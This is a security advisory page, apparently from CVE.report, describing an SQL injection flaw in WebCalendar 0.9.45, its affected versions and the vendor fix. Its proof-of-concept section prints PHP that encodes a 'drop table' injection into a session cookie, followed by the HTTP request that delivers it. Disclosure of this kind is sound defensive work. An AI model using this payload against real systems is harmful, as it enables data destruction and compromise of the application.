WebCalendar SQL Injection Vulnerability

BID:12581

Info

WebCalendar SQL Injection Vulnerability

Bugtraq ID: 12581
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Feb 17 2005 12:00AM
Updated: Feb 17 2005 12:00AM
Credit: Discovery of this vulnerability is credited to Michael Scovetta of Scovetta Labs.
Vulnerable: k5n WebCalendar 0.9.45
- Debian Linux 3.1 sparc
- Debian Linux 3.1 s/390
- Debian Linux 3.1 s/390
- Debian Linux 3.1 ppc
- Debian Linux 3.1 ppc
- Debian Linux 3.1 mipsel
- Debian Linux 3.1 mipsel
- Debian Linux 3.1 mips
- Debian Linux 3.1 mips
- Debian Linux 3.1 m68k
- Debian Linux 3.1 m68k
- Debian Linux 3.1 ia-64
- Debian Linux 3.1 ia-64
- Debian Linux 3.1 ia-32
- Debian Linux 3.1 ia-32
- Debian Linux 3.1 hppa
- Debian Linux 3.1 hppa
- Debian Linux 3.1 arm
- Debian Linux 3.1 arm
- Debian Linux 3.1 alpha
- Debian Linux 3.1 alpha
- Debian Linux 3.1
- Debian Linux 3.1
Not Vulnerable: k5n WebCalendar 1.0 rc2
k5n WebCalendar 1.0 RC1

Discussion

WebCalendar SQL Injection Vulnerability

WebCalendar is affected by an SQL injection vulnerability. This issue exists because the application fails to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

This vulnerability is reported to affect WebCalendar 0.9.45; earlier versions may also be affected.

The vendor has addressed this issue in WebCalendar 1.0RC1 and later.

Exploit / POC

WebCalendar SQL Injection Vulnerability

No exploit is required.

The following proof of concept is available:
<?php
include_once 'includes/init.php';
echo encode_string("'; drop table foo; select 'a|zzabcdefg");
?>

output:
7c8c3a738e858f4199b6b386743c7c8e906075c47f7b817993414cb6cd94897d7882858abbb8

attack payload:
telnet example.com
GET /login.php HTTP/1.1
Cookie: webcalendar_session=7c8c3a738e858f4199b6b386743c7c8e906075c47f7b817993414cb6cd94897d7882858abbb8

Solution / Fix

WebCalendar SQL Injection Vulnerability

Solution:
The vendor has addressed this issue in WebCalendar 1.0RC1 and later.


k5n WebCalendar 0.9.45

References

WebCalendar SQL Injection Vulnerability

References:
© CVE.report 2026 |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report